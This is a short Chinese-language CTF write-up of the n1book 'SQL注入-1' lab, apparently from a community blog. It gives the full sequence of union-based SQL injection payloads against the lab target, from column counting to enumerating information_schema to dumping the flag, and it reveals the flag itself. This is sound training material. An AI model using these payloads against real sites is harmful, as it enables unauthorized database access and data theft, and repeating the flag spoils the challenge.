[第一章 web入门]SQL注入-1
  UmY4CJ2kVTVZ 4天前 28 0

启动靶机

很明显注入点为id值,单引号闭合影响语句,说明为单引号闭合

构造注入语句 ?id=1 ' and 1 =1 --+ 发现没报错,说明没有其他过滤 ,开始sql注入
?id=1 ' order by 4 --+ 直到=4报错说明有3个字节段

测试回显位2,3 ?id=1 ' and 1 = 2 union select 1,2,3 --+

测试当前数据库名note,版本MariaDB-1ubuntu0.14.04.1 ?id=1 ' and 1 = 2 union select 1,database(),version() --+

获得表名 fl4g,notes ?id=1 ' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='note' --+

继续获得列名fllllag ?id=1 ' and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='note' and table_name='fl4g' --+

查找表获得flag n1book{union_select_is_so_cool} ?id=1 ' and 1 = 2 union select 1,2,group_concat(fllllag) from fl4g--+

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 4天前 0

暂无评论

推荐阅读
UmY4CJ2kVTVZ